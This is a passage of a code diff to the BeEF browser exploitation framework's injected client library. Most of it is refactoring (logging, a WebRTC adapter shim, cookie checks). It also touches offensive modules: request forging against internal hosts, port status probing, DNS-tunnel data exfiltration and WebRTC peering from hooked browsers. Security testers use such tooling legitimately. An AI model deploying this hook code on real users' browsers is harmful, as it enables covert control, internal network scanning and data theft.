char = String.fromCharCode(moo + 55);
|
||||
}else{
|
||||
char = String.fromCharCode(moo + 61);
|
||||
}
|
||||
if(char != ';' && char != '='){
|
||||
return char;
|
||||
}else{
|
||||
return 'x';
|
||||
}
|
||||
};
|
||||
|
||||
while(to_hell.length < lol_length){
|
||||
to_hell += grunt();
|
||||
}
|
||||
return to_hell;
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
hasSessionCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
@@ -84,11 +108,8 @@ beef.browser.cookie = {
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
hasPersistentCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
|
||||
@@ -703,4 +703,6 @@ function InitDeviceScan()
|
||||
isTierGenericMobile = DetectTierOtherPhones();
|
||||
};
|
||||
|
||||
InitDeviceScan()
|
||||
try {
|
||||
InitDeviceScan();
|
||||
}catch(e){}
|
||||
|
||||
@@ -1,200 +1,409 @@
|
||||
var RTCPeerConnection = null;
|
||||
/*
|
||||
* Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
|
||||
*
|
||||
* Use of this source code is governed by a BSD-style license
|
||||
* that can be found in the LICENSE file in the root of the source
|
||||
* tree.
|
||||
*/
|
||||
|
||||
/* More information about these options at jshint.com/docs/options */
|
||||
/* jshint browser: true, camelcase: true, curly: true, devel: true,
|
||||
eqeqeq: true, forin: false, globalstrict: true, node: true,
|
||||
quotmark: single, undef: true, unused: strict */
|
||||
/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
|
||||
mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
|
||||
/* exported trace,requestUserMedia */
|
||||
|
||||
'use strict';
|
||||
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
var webrtcMinimumVersion = null;
|
||||
|
||||
function maybeFixConfiguration(pcConfig) {
|
||||
if (pcConfig === null) {
|
||||
return;
|
||||
function trace(text) {
|
||||
// This function is used for logging.
|
||||
if (text[text.length - 1] === '\n') {
|
||||
text = text.substring(0, text.length - 1);
|
||||
}
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
|
||||
if (pcConfig.iceServers[i]['urls'].length > 0) {
|
||||
// In FF - we just take the FIRST STUN Server
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
|
||||
} else {
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
delete pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
if (window.performance) {
|
||||
var now = (window.performance.now() / 1000).toFixed(3);
|
||||
beef.debug(now + ': ' + text);
|
||||
} else {
|
||||
beef.debug(text);
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "firefox";
|
||||
webrtcDetectedBrowser = 'firefox';
|
||||
|
||||
// the detected firefox version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// the minimum firefox version still supported by adapter.
|
||||
webrtcMinimumVersion = 31;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is not supported in FF yet.
|
||||
maybeFixConfiguration(pcConfig);
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Creates iceServer from the url for FF.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
if (webrtcDetectedVersion < 27) {
|
||||
// Create iceServer with turn url.
|
||||
// Ignore the transport parameter from TURN url for FF version <=27.
|
||||
var turn_url_parts = url.split("?");
|
||||
// Return null for createIceServer if transport=tcp.
|
||||
if (turn_url_parts.length === 1 ||
|
||||
turn_url_parts[1].indexOf('transport=udp') === 0) {
|
||||
iceServer = {'url': turn_url_parts[0],
|
||||
'credential': password,
|
||||
'username': username};
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
if (webrtcDetectedVersion < 38) {
|
||||
// .urls is not supported in FF < 38.
|
||||
// create RTCIceServers with a single url.
|
||||
if (pcConfig && pcConfig.iceServers) {
|
||||
var newIceServers = [];
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
var server = pcConfig.iceServers[i];
|
||||
if (server.hasOwnProperty('urls')) {
|
||||
for (var j = 0; j < server.urls.length; j++) {
|
||||
var newServer = {
|
||||
url: server.urls[j]
|
||||
};
|
||||
if (server.urls[j].indexOf('turn') === 0) {
|
||||
newServer.username = server.username;
|
||||
newServer.credential = server.credential;
|
||||
}
|
||||
newIceServers.push(newServer);
|
||||
}
|
||||
} else {
|
||||
newIceServers.push(pcConfig.iceServers[i]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// FF 27 and above supports transport parameters in TURN url,
|
||||
// So passing in the full url to create iceServer.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
pcConfig.iceServers = newIceServers;
|
||||
}
|
||||
}
|
||||
return iceServer;
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
};
|
||||
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
// Use .url for FireFox.
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
}
|
||||
// The RTCSessionDescription object.
|
||||
window.RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
window.RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = (webrtcDetectedVersion < 38) ?
|
||||
function(c, onSuccess, onError) {
|
||||
var constraintsToFF37 = function(c) {
|
||||
if (typeof c !== 'object' || c.require) {
|
||||
return c;
|
||||
}
|
||||
var require = [];
|
||||
Object.keys(c).forEach(function(key) {
|
||||
var r = c[key] = (typeof c[key] === 'object') ?
|
||||
c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined) {
|
||||
r.min = r.max = r.exact;
|
||||
delete r.exact;
|
||||
}
|
||||
if (r.min !== undefined || r.max !== undefined) {
|
||||
require.push(key);
|
||||
}
|
||||
if (r.ideal !== undefined) {
|
||||
c.advanced = c.advanced || [];
|
||||
var oc = {};
|
||||
oc[key] = {min: r.ideal, max: r.ideal};
|
||||
c.advanced.push(oc);
|
||||
delete r.ideal;
|
||||
if (!Object.keys(r).length) {
|
||||
delete c[key];
|
||||
}
|
||||
}
|
||||
});
|
||||
if (require.length) {
|
||||
c.require = require;
|
||||
}
|
||||
return c;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c));
|
||||
c.audio = constraintsToFF37(c.audio);
|
||||
c.video = constraintsToFF37(c.video);
|
||||
beef.debug('ff37: ' + JSON.stringify(c));
|
||||
return navigator.mozGetUserMedia(c, onSuccess, onError);
|
||||
} : navigator.mozGetUserMedia.bind(navigator);
|
||||
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Shim for mediaDevices on older versions.
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
addEventListener: function() { },
|
||||
removeEventListener: function() { }
|
||||
};
|
||||
}
|
||||
navigator.mediaDevices.enumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices || function() {
|
||||
return new Promise(function(resolve) {
|
||||
var infos = [
|
||||
{kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
|
||||
{kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
|
||||
];
|
||||
resolve(infos);
|
||||
});
|
||||
};
|
||||
|
||||
if (webrtcDetectedVersion < 41) {
|
||||
// Work around http://bugzil.la/1169665
|
||||
var orgEnumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
|
||||
navigator.mediaDevices.enumerateDevices = function() {
|
||||
return orgEnumerateDevices().catch(function(e) {
|
||||
if (e.name === 'NotFoundError') {
|
||||
return [];
|
||||
}
|
||||
throw e;
|
||||
});
|
||||
};
|
||||
}
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
console.log("Attaching media stream");
|
||||
beef.debug('Attaching media stream');
|
||||
element.mozSrcObject = stream;
|
||||
element.play();
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
console.log("Reattaching media stream");
|
||||
beef.debug('Reattaching media stream');
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
to.play();
|
||||
};
|
||||
|
||||
// Fake get{Video,Audio}Tracks
|
||||
if (!MediaStream.prototype.getVideoTracks) {
|
||||
MediaStream.prototype.getVideoTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
|
||||
if (!MediaStream.prototype.getAudioTracks) {
|
||||
MediaStream.prototype.getAudioTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "chrome";
|
||||
// Temporary fix until crbug/374263 is fixed.
|
||||
// Setting Chrome version to 999, if version is unavailable.
|
||||
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
|
||||
if (result !== null) {
|
||||
webrtcDetectedVersion = parseInt(result[2], 10);
|
||||
} else {
|
||||
webrtcDetectedVersion = 999;
|
||||
}
|
||||
webrtcDetectedBrowser = 'chrome';
|
||||
|
||||
// Creates iceServer from the url for Chrome M33 and earlier.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
// Chrome M28 & above uses below TURN format.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
// the detected chrome version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
|
||||
|
||||
// Creates iceServers from the urls for Chrome M34 and above.
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
if (webrtcDetectedVersion >= 34) {
|
||||
// .urls is supported since Chrome M34.
|
||||
iceServers = {'urls': urls,
|
||||
'credential': password,
|
||||
'username': username };
|
||||
} else {
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
};
|
||||
// the minimum chrome version still supported by adapter.
|
||||
webrtcMinimumVersion = 38;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is supported since Chrome M34.
|
||||
if (webrtcDetectedVersion < 34) {
|
||||
maybeFixConfiguration(pcConfig);
|
||||
}
|
||||
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
var origGetStats = pc.getStats.bind(pc);
|
||||
pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
|
||||
// If selector is a function then we are in the old style stats so just
|
||||
// pass back the original getStats format to avoid breaking old users.
|
||||
if (typeof selector === 'function') {
|
||||
return origGetStats(selector, successCallback);
|
||||
}
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
|
||||
var fixChromeStats = function(response) {
|
||||
var standardReport = {};
|
||||
var reports = response.result();
|
||||
reports.forEach(function(report) {
|
||||
var standardStats = {
|
||||
id: report.id,
|
||||
timestamp: report.timestamp,
|
||||
type: report.type
|
||||
};
|
||||
report.names().forEach(function(name) {
|
||||
standardStats[name] = report.stat(name);
|
||||
});
|
||||
standardReport[standardStats.id] = standardStats;
|
||||
});
|
||||
|
||||
return standardReport;
|
||||
};
|
||||
var successCallbackWrapper = function(response) {
|
||||
successCallback(fixChromeStats(response));
|
||||
};
|
||||
return origGetStats(successCallbackWrapper, selector);
|
||||
};
|
||||
|
||||
return pc;
|
||||
};
|
||||
|
||||
// add promise support
|
||||
['createOffer', 'createAnswer'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var self = this;
|
||||
if (arguments.length < 1 || (arguments.length === 1 &&
|
||||
typeof(arguments[0]) === 'object')) {
|
||||
var opts = arguments.length === 1 ? arguments[0] : undefined;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [resolve, reject, opts]);
|
||||
});
|
||||
} else {
|
||||
return nativeMethod.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
['setLocalDescription', 'setRemoteDescription',
|
||||
'addIceCandidate'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var args = arguments;
|
||||
var self = this;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [args[0],
|
||||
function() {
|
||||
resolve();
|
||||
if (args.length >= 2) {
|
||||
args[1].apply(null, []);
|
||||
}
|
||||
},
|
||||
function(err) {
|
||||
reject(err);
|
||||
if (args.length >= 3) {
|
||||
args[2].apply(null, [err]);
|
||||
}
|
||||
}]
|
||||
);
|
||||
});
|
||||
};
|
||||
});
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = function(c, onSuccess, onError) {
|
||||
var constraintsToChrome = function(c) {
|
||||
if (typeof c !== 'object' || c.mandatory || c.optional) {
|
||||
return c;
|
||||
}
|
||||
var cc = {};
|
||||
Object.keys(c).forEach(function(key) {
|
||||
if (key === 'require' || key === 'advanced') {
|
||||
return;
|
||||
}
|
||||
var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined && typeof r.exact === 'number') {
|
||||
r.min = r.max = r.exact;
|
||||
}
|
||||
var oldname = function(prefix, name) {
|
||||
if (prefix) {
|
||||
return prefix + name.charAt(0).toUpperCase() + name.slice(1);
|
||||
}
|
||||
return (name === 'deviceId') ? 'sourceId' : name;
|
||||
};
|
||||
if (r.ideal !== undefined) {
|
||||
cc.optional = cc.optional || [];
|
||||
var oc = {};
|
||||
if (typeof r.ideal === 'number') {
|
||||
oc[oldname('min', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
oc = {};
|
||||
oc[oldname('max', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
} else {
|
||||
oc[oldname('', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
}
|
||||
}
|
||||
if (r.exact !== undefined && typeof r.exact !== 'number') {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname('', key)] = r.exact;
|
||||
} else {
|
||||
['min', 'max'].forEach(function(mix) {
|
||||
if (r[mix] !== undefined) {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname(mix, key)] = r[mix];
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
if (c.advanced) {
|
||||
cc.optional = (cc.optional || []).concat(c.advanced);
|
||||
}
|
||||
return cc;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
|
||||
c.audio = constraintsToChrome(c.audio);
|
||||
c.video = constraintsToChrome(c.video);
|
||||
beef.debug('chrome: ' + JSON.stringify(c));
|
||||
return navigator.webkitGetUserMedia(c, onSuccess, onError);
|
||||
};
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.mozSrcObject !== 'undefined') {
|
||||
element.mozSrcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
console.log('Error attaching stream to element.');
|
||||
beef.debug('Error attaching stream to element.');
|
||||
}
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
enumerateDevices: function() {
|
||||
return new Promise(function(resolve) {
|
||||
var kinds = {audio: 'audioinput', video: 'videoinput'};
|
||||
return MediaStreamTrack.getSources(function(devices) {
|
||||
resolve(devices.map(function(device) {
|
||||
return {label: device.label,
|
||||
kind: kinds[device.kind],
|
||||
deviceId: device.id,
|
||||
groupId: ''};
|
||||
}));
|
||||
});
|
||||
});
|
||||
}};
|
||||
// in case someone wants to listen for the devicechange event.
|
||||
navigator.mediaDevices.addEventListener = function() { };
|
||||
navigator.mediaDevices.removeEventListener = function() { };
|
||||
}
|
||||
} else if (navigator.mediaDevices && navigator.userAgent.match(
|
||||
/Edge\/(\d+).(\d+)$/)) {
|
||||
webrtcDetectedBrowser = 'edge';
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
|
||||
|
||||
// the minimum version still supported by adapter.
|
||||
webrtcMinimumVersion = 12;
|
||||
|
||||
attachMediaStream = function(element, stream) {
|
||||
element.srcObject = stream;
|
||||
};
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.srcObject = from.srcObject;
|
||||
};
|
||||
} else {
|
||||
console.log("Browser does not appear to be WebRTC-capable");
|
||||
// console.log('Browser does not appear to be WebRTC-capable');
|
||||
}
|
||||
|
||||
// Returns the result of getUserMedia as a Promise.
|
||||
function requestUserMedia(constraints) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
getUserMedia(constraints, resolve, reject);
|
||||
});
|
||||
}
|
||||
|
||||
if (typeof module !== 'undefined') {
|
||||
module.exports = {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
} else if ((typeof require === 'function') && (typeof define === 'function')) {
|
||||
// Expose objects and functions when RequireJS is doing the loading.
|
||||
define([], function() {
|
||||
return {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -257,6 +257,7 @@ beef.net = {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
response.port_status = "open";
|
||||
},
|
||||
complete: function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
@@ -273,7 +274,7 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function () {
|
||||
}).always(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
@@ -287,6 +288,10 @@ beef.net = {
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*
|
||||
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
|
||||
* Example usage:
|
||||
* beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
|
||||
* true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
|
||||
* alert(response.response_body)})
|
||||
*/
|
||||
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
@@ -362,6 +367,8 @@ beef.net = {
|
||||
}
|
||||
},
|
||||
|
||||
data: data,
|
||||
|
||||
// http server responded successfully
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
|
||||
@@ -30,9 +30,8 @@ beef.net.dns = {
|
||||
|
||||
var encodedData = encodeURI(encode_data(data));
|
||||
|
||||
//TODO remove this
|
||||
console.log(encodedData);
|
||||
console.log("_encodedData_ length: " + encodedData.length);
|
||||
beef.debug(encodedData);
|
||||
beef.debug("_encodedData_ length: " + encodedData.length);
|
||||
|
||||
// limitations to DNS according to RFC 1035:
|
||||
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
|
||||
@@ -50,8 +49,7 @@ beef.net.dns = {
|
||||
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
|
||||
var max_data_segment_length = 63; // by RFC
|
||||
|
||||
//TODO remove this
|
||||
console.log("max_data_segment_length: " + max_data_segment_length);
|
||||
beef.debug("max_data_segment_length: " + max_data_segment_length);
|
||||
|
||||
var dom = document.createElement('b');
|
||||
|
||||
@@ -76,8 +74,7 @@ beef.net.dns = {
|
||||
|
||||
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
|
||||
|
||||
//TODO remove this
|
||||
console.log(segments.length);
|
||||
beef.debug(segments.length);
|
||||
|
||||
for (var seq=1; seq<=segments.length; seq++) {
|
||||
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
|
||||
|
||||
@@ -67,10 +67,12 @@ Beefwebrtc.prototype.initialize = function() {
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns}]};
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
|
||||
"credential":"pass"}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
this.forceTurn(this.turnjson);
|
||||
// this.forceTurn(this.turnjson);
|
||||
this.turnDone = true;
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
@@ -96,7 +98,7 @@ Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
if (iceServers !== null) {
|
||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||
}
|
||||
if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");}
|
||||
if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");}
|
||||
this.turnDone = true;
|
||||
this.maybeStart();
|
||||
}
|
||||
@@ -104,7 +106,7 @@ Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
// Try and establish the RTC connection
|
||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
if (this.verbose) {
|
||||
console.log('Creating RTCPeerConnnection with the following options:\n' +
|
||||
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
@@ -113,14 +115,14 @@ Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||
if (this.verbose) {
|
||||
console.log('Created RTCPeerConnnection with the following options:\n' +
|
||||
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
} catch (e) {
|
||||
if (this.verbose) {
|
||||
console.log('Failed to create PeerConnection, exception: ');
|
||||
console.log(e);
|
||||
beef.debug('Failed to create PeerConnection, exception: ');
|
||||
beef.debug(e);
|
||||
}
|
||||
return;
|
||||
}
|
||||
@@ -143,8 +145,8 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {
|
||||
console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
console.log(event);
|
||||
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
beef.debug(event);
|
||||
}
|
||||
|
||||
if (event.candidate) {
|
||||
@@ -156,7 +158,7 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
// Note this ICE candidate locally
|
||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('End of candidates.');}
|
||||
if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -165,25 +167,25 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
// against the message directly
|
||||
Beefwebrtc.prototype.processMessage = function(message) {
|
||||
if (this.verbose) {
|
||||
console.log('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
}
|
||||
var msg = JSON.parse(message);
|
||||
|
||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||
if (this.verbose) {console.log('processing the message, as a receiver');}
|
||||
if (this.verbose) {beef.debug('processing the message, as a receiver');}
|
||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||
if (this.verbose) {console.log('.. and the message is an offer .. ');}
|
||||
if (this.verbose) {beef.debug('.. and the message is an offer .. ');}
|
||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||
if (this.verbose) {console.log(' .. the message is NOT an offer .. ');}
|
||||
if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||
if (this.verbose) {console.log('processing the message, as the sender, no answers yet');}
|
||||
if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');}
|
||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||
if (this.verbose) {console.log('.. and we have an answer ..');}
|
||||
if (this.verbose) {beef.debug('.. and we have an answer ..');}
|
||||
this.processSignalingMessage(msg); // Process the message directly
|
||||
this.gotanswer = true; // We have now received an answer
|
||||
//process all other queued message...
|
||||
@@ -191,11 +193,11 @@ Beefwebrtc.prototype.processMessage = function(message) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||
if (this.verbose) {console.log('.. not an answer ..');}
|
||||
if (this.verbose) {beef.debug('.. not an answer ..');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else { // For all other messages just drop them in the queue
|
||||
if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
||||
if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
||||
